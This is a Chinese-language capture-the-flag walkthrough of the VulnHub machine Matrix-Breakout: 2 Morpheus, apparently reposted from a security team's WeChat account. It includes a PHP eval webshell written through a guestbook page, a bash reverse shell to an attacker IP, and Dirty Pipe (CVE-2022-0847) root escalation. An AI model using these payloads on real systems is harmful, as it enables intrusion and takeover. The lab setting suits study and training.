靶机描述:这是Matrix-Breakout系列的第二部,副标题为Morpheus:1。主题是《黑客帝国》第一部的回归。你扮演Trinity,试图调查Cypher把其他人锁在Nebuchadnezzar号上的一台电脑,这台电脑掌握着解开谜团的钥匙。靶机下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova
0x00环境搭建:
下载靶机后使用Vmware Workstation或Virtualbox打开,网络环境默认配置为NAT。开启攻击机Kali,同样设置为NAT模式,与靶机处于同一网段。
0x01信息收集
首先还是主机发现,工具就不限制了,nmap、arp-scan、net-discover等都可以实现局域网内主机探测。
arp-scan -I eth0 -l
可以看到除VMware虚拟网卡之外还有一台63.142存活,那么这一台就是靶机IP了。继续扫描开放的服务及相关端口。
nmap -sT -p- -T4 -A -Pn --min-rate=10000 192.168.63.142
可以看到开放了TCP22端口提供SSH服务、80端口提供HTTP服务,81端口也是HTTP但是需要认证。这里先从HTTP服务入手,访问目标网页80端口,发现是一则提示,说关闭了SSH。
再访问81端口,发现弹窗提示需要验证。
那就先放一下,扫波目录看看是否有子目录。
gobuster dir -u http://192.168.63.142 --wordlist=/usr/share/wordlists/dirb/big.txt -x html,php,bak,zip,mdb,rar,7z
只扫描到了robots.txt和javascript的目录,但是还没有权限。而robots.txt提示说这里可没有小白兔,继续收集吧。那么可能就是字典太少了,换个字典继续跑一下。
gobuster dir -u http://192.168.63.142 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,bak,zip,mdb,rar,7z
换了一个大字典,果然有不一样的发现,扫描到了另一个可访问的页面,叫做/graffiti.php,访问试一下。感觉像是一个留言板的界面,输入的内容会原样的显示到页面上,那么这里就可能存在XSS漏洞,以及命令执行。先尝试弹个窗试试。
<script>alert(ninggo);</script>
成功弹窗,此处存在一个存储型XSS,说明输入的内容被存储到了后端。
0x02漏洞利用
通过Burpsuite拦截请求,可以看到该页面将用户输入的内容保存到message字段,通过POST请求传递到了一个名为graffiti.txt的文件中,那么这里就可以尝试构造一句话木马获取webshell。
<?php @eval($_POST['ninggo']);?>//需要注意此处构造payload需进行URL编码
%3C?php%20@eval($_POST%5B'ninggo'%5D);?%3E
上传成功后使用Antsword链接一下,连接成功。
怪不得/graffiti.php这个页面在打的时候后面出现了一堆命令,可能是作者搭建的时候没有清理好环境,丢下了一堆脏数据,可以看到其中测试了许多SQL注入、命令执行、SSTI的语句。
0x03系统提权
登录后检查发现是普通的www-data用户,仅用来提供web服务,所以后续还需要进行提权操作。为了后续提权方便,这里利用反弹shell将会话传递到kali中。
kali端开启监听,但是发现无法执行,可能是存在过滤。
那么就还是用刚才的写入方式进行反弹,保存到reverse.php中。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.63.128/4567 0>&1'"); ?>
成功将会话转到kali上。
原来靶机里面的脏数据太多了,稍微清理了一下无用数据后为下面的文件。
有两个用户分别是cypher和trinity。寻找可利用信息,在根目录下发现了 一个FLAG.txt。
描述说这是第一个FLAG,并且如果想拿到高权限的密码,需要在80端口的HTTP上拿到一个cypher-neo.png图片。我们现在已经有了操作权限了,直接去网站根目录看一下这个图片。图片隐藏信息在之前打过的靶机Deathnote死亡笔记中也是有接触到的,会将信息存储在图片中,先将图片存储到kali本地。
wget http://192.168.63.142/.cypher-neo.png
上次的靶机只需要记事本打开即可发现隐藏信息,而这次的需要配合binwalk工具。该工具可以查看当前文件中是否包含了其它文件。
binwalk -e cypher-neo.png --run-as=root
分离出了两个文件,网上搜了一下Zlib文件也是一种压缩格式,但是此处搜寻相关知识点,发现涉及到了CTF杂项中的图片隐写技术,本人不太懂这些所以这里无从下手了。继续提权操作。Linux主机的话直接上传LinPeas工具跑一下。
wget http://192.168.63.128:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
发现了靶机上存在/usr/bin/python3-9 cap_sys_admin=ep存在越权。
但是在查找相关位置文件后发现其文件属性为属主root,属组humans,其它用户是无法执行的。
那就从系统版本看看是否可以入手。
uname -a
lsb_release -a
可以看到是debian11,继续上传提权辅助工具linux-exploit-suggester尝试。该工具可以自动识别当前操作系统内核版本并且推荐出可用的提权辅助。
此处扫描出CVE-2022-0847脏管道提权正好符合当前环境。Exp利用:https://github.com/r1is/CVE-2022-0847
chmod +x Dirty-Pipe.sh
./Dirty-Pipe.sh
执行成功 ,拿到root权限,在/root中找到了最终的flag。
同时还在/var/nginx/html中发现了一个.htpasswd的文件,查看是一串密文。
可以看到是Apache对MD5进行加密,试了很多平台都无法破解,比较遗憾。至此本靶机也就结束了,除了两个点未达成,一是图片的隐写部分,二就是MD5的破解,希望各路大神能够给予指点。
原文始发于微信公众号(NG安全团队):Matrix-Breakout: 2 Morpheus靶机实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论